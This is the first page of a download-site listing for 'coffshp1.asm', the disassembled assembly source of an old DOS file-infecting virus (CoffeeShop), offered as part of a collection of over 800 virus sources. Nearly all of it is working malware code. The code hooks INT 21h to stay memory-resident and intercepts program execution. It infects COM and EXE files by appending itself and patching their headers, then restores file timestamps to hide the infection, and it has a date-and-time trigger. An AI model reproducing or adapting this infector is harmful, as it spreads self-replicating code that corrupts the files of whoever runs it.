⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 coffshp1.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:

PAGE  59,132

;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;圹								         圹
;圹			        COFFSHP1			         圹
;圹								         圹
;圹      Created:   23-Jun-92					         圹
;圹      Passes:    5	       Analysis Options on: AW		         圹
;圹								         圹
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

data_1e		equ	0F8h
data_2e		equ	0FAh
data_3e		equ	43Bh
data_4e		equ	0F4h
data_5e		equ	0F8h
data_6e		equ	0FCh
data_15e	equ	15A1h

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a


		org	100h

coffshp1	proc	far

start:
		jmp	loc_2
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+di],ah
		inc	ax
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		int	20h			; DOS program terminate
		db	27 dup (0)
loc_2:
		call	sub_2

coffshp1	endp

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_2		proc	near
		pop	si
		mov	di,100h
		sub	si,20h
		push	ax
		push	ds
		push	es
		push	di
		push	si
		cld				; Clear direction
		mov	ah,30h			; '0'
		int	21h			; DOS Services  ah=function 30h
						;  get DOS version number ax
		xchg	ah,al
		cmp	ax,30Ah
		jb	loc_3			; Jump if below
		mov	ax,33DAh
		int	21h			; ??INT Non-standard interrupt
		cmp	ah,0A5h
		je	loc_3			; Jump if equal
		mov	ax,es
		dec	ax
		mov	ds,ax
		xor	bx,bx			; Zero register
		cmp	byte ptr [bx],5Ah	; 'Z'
		jne	loc_3			; Jump if not equal
		mov	ax,[bx+3]
		sub	ax,72h
		jc	loc_3			; Jump if carry Set
		mov	[bx+3],ax
		sub	word ptr [bx+12h],72h
		mov	es,[bx+12h]
		push	cs
		pop	ds
		mov	cx,620h
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		push	es
		pop	ds
		mov	ax,3521h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	ds:data_1e,bx
		mov	ds:data_2e,es
;*		mov	dx,offset loc_1
		db	0BAh, 01h, 02h
		mov	ax,2521h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		mov	ah,2Ah			; '*'
		int	21h			; DOS Services  ah=function 2Ah
						;  get date, cx=year, dh=month
						;   dl=day, al=day-of-week 0=SUN
		cmp	al,5
		jne	loc_3			; Jump if not equal
		mov	ah,2Ch			; ','
		int	21h			; DOS Services  ah=function 2Ch
						;  get time, cx=hrs/min, dx=sec
		or	dh,dh			; Zero ?
		jnz	loc_3			; Jump if not zero
		pop	ax
		push	ax
		call	sub_3
loc_3:
		pop	si
		pop	di
		pop	es
		pop	ds
		pop	ax
		cmp	byte ptr cs:[si+1Ch],0
		je	loc_4			; Jump if equal
		mov	bx,ds
		add	bx,10h
		mov	cx,bx
		add	bx,cs:[si+0Eh]
		cli				; Disable interrupts
		mov	ss,bx
		mov	sp,cs:[si+10h]
		sti				; Enable interrupts
		add	cx,cs:[si+16h]
		push	cx
		push	word ptr cs:[si+14h]
		retf				; Return far
loc_4:
		push	di
		mov	cx,1Ch
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		retn
sub_2		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_3		proc	near
		mov	bx,ax
		add	bx,152h
		push	cs
		push	bx
		add	ax,62Fh
		and	ax,0FFF0h
		mov	di,ax
		mov	si,data_3e
		mov	cx,2E5h
		push	cs
		pop	es
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		mov	cl,4
		shr	ax,cl			; Shift w/zeros fill
		mov	dx,cs
		add	ax,dx
		sub	ax,10h
		mov	ds,ax
		mov	es,ax
		push	ax
		mov	ax,100h
		push	ax
		retf				; Return far
sub_3		endp

		and	[bp+di+6Fh],al
		db	'ffeeShop '
		db	0B0h, 03h,0CFh, 9Ch, 3Dh,0DAh
		db	 33h, 75h, 05h,0B8h, 01h,0A5h
		db	 9Dh,0CFh
		db	 06h, 1Eh, 56h, 57h, 52h, 51h
		db	 53h, 50h, 3Dh, 00h, 4Bh, 74h
		db	 0Ch, 3Dh, 00h
		db	 6Ch, 75h, 0Ah
		db	0F6h,0C3h, 03h, 75h, 05h, 8Bh
		db	0D7h
loc_7:
		call	sub_4
loc_8:
		pop	ax
		pop	bx
		pop	cx
		pop	dx
		pop	di
		pop	si
		pop	ds
		pop	es
		popf				; Pop flags
		jmp	dword ptr cs:data_5e

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_4		proc	near
		cld				; Clear direction
		push	cs
		pop	es
		mov	si,dx
		xor	di,di			; Zero register
		mov	cx,80h

locloop_9:
		lodsb				; String [si] to al
		cmp	al,0
		je	loc_12			; Jump if equal
		cmp	al,61h			; 'a'
		jb	loc_10			; Jump if below
		cmp	al,7Ah			; 'z'
		ja	loc_10			; Jump if above
		xor	al,20h			; ' '
loc_10:
		stosb				; Store al to es:[di]
		loop	locloop_9		; Loop if cx > 0


loc_ret_11:
		retn
loc_12:
		stosb				; Store al to es:[di]
		lea	si,[di-5]		; Load effective addr
		push	cs
		pop	ds
		lodsw				; String [si] to ax
		cmp	ax,452Eh
		jne	loc_13			; Jump if not equal
		lodsw				; String [si] to ax
		cmp	ax,4558h
		jmp	short loc_14
loc_13:
		cmp	ax,432Eh
		jne	loc_ret_11		; Jump if not equal
		lodsw				; String [si] to ax
		cmp	ax,4D4Fh
loc_14:
		jne	loc_ret_11		; Jump if not equal
		std				; Set direction flag
		mov	cx,si
		inc	cx

locloop_15:
		lodsb				; String [si] to al
		cmp	al,3Ah			; ':'
		je	loc_16			; Jump if equal
		cmp	al,5Ch			; '\'
		je	loc_16			; Jump if equal
		loop	locloop_15		; Loop if cx > 0

		dec	si
loc_16:
		cld				; Clear direction
		lodsw				; String [si] to ax
		lodsw				; String [si] to ax
		mov	di,3BEh
		mov	cl,0Ch
		repne	scasw			; Rep zf=0+cx >0 Scan es:[di] for ax
		jz	loc_ret_11		; Jump if zero
		mov	ax,3300h
		int	21h			; DOS Services  ah=function 33h
						;  get ctrl-break flag in dl
		push	dx
		cwd				; Word to double word
		inc	ax
		push	ax
		int	21h			; DOS Services  ah=function 33h
						;  set ctrl-break flag dl=off/on
		mov	ax,3524h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		push	es
		push	bx
		push	cs
		pop	ds
		mov	dx,offset int_24h_entry
		mov	ah,25h			; '%'
		push	ax
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		mov	ax,4300h
		cwd				; Word to double word
		int	21h			; DOS Services  ah=function 43h
						;  get attrb cx, filename @ds:dx
		push	cx
		xor	cx,cx			; Zero register
		mov	ax,4301h
		push	ax
		int	21h			; DOS Services  ah=function 43h
						;  set attrb cx, filename @ds:dx
		jc	loc_17			; Jump if carry Set
		mov	ax,3D02h
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		jnc	loc_18			; Jump if carry=0
loc_17:
		jmp	loc_24
loc_18:
		xchg	ax,bx
		mov	ax,5700h
		int	21h			; DOS Services  ah=function 57h
						;  get file date+time, bx=handle
						;   returns cx=time, dx=time
		push	dx
		push	cx
		mov	cx,1Ch
		mov	si,100h
		mov	dx,si
		call	sub_7
		jc	loc_19			; Jump if carry Set
		mov	ax,4202h
		xor	cx,cx			; Zero register
		cwd				; Word to double word
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	di,data_4e
		mov	[di],ax
		mov	[di+2],dx
		cmp	word ptr [si+12h],4021h
		je	loc_19			; Jump if equal
		cmp	word ptr [si],5A4Dh
		je	loc_20			; Jump if equal
		mov	byte ptr [si+1Ch],0
		test	byte ptr [si],80h
		jz	loc_19			; Jump if zero
		cmp	word ptr [di],0D000h
		jae	loc_19			; Jump if above or =
		cmp	word ptr [di],7D0h
		jb	loc_19			; Jump if below
		call	sub_10
		jnz	loc_19			; Jump if not zero
		mov	byte ptr [si],0E9h
		mov	ax,[di]
		add	ax,1Ah
		mov	[si+1],ax
		jmp	short loc_22
loc_19:
		jmp	loc_23
loc_20:
		mov	byte ptr [si+1Ch],1
		cmp	word ptr [si+18h],40h
		jb	loc_21			; Jump if below
		mov	ax,3Ch
		cwd				; Word to double word
		call	sub_6
		jc	loc_23			; Jump if carry Set
		mov	ax,[si-4]
		mov	dx,[si-2]
		call	sub_6
		jc	loc_23			; Jump if carry Set
		cmp	byte ptr [si-3],45h	; 'E'
		je	loc_23			; Jump if equal
loc_21:
		call	sub_9
		cmp	[si+4],ax
		jne	loc_23			; Jump if not equal
		cmp	[si+2],dx
		jne	loc_23			; Jump if not equal
		cmp	word ptr [si+0Ch],0
		je	loc_23			; Jump if equal
		cmp	word ptr [si+1Ah],0
		jne	loc_23			; Jump if not equal
		call	sub_10
		jnz	loc_23			; Jump if not zero
		call	sub_8
		mov	[si+4],ax
		mov	[si+2],dx
		call	sub_11
		mov	cx,10h
		div	cx			; ax,dx rem=dx:ax/reg
		sub	ax,[si+8]
		dec	ax
		add	dx,2Dh
		mov	[si+16h],ax
		mov	[si+0Eh],ax
		mov	[si+14h],dx
		mov	word ptr [si+10h],17E0h
		lea	di,[si+0Ah]		; Load effective addr
		call	sub_5
		lea	di,[si+0Ch]		; Load effective addr
		call	sub_5
loc_22:
		call	sub_12
		mov	word ptr [si+12h],4021h
		mov	cx,1Ch
		mov	dx,si
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
loc_23:
		pop	cx
		pop	dx
		mov	ax,5701h
		int	21h			; DOS Services  ah=function 57h
						;  set file date+time, bx=handle
						;   cx=time, dx=time
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
loc_24:
		pop	ax
		pop	cx

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -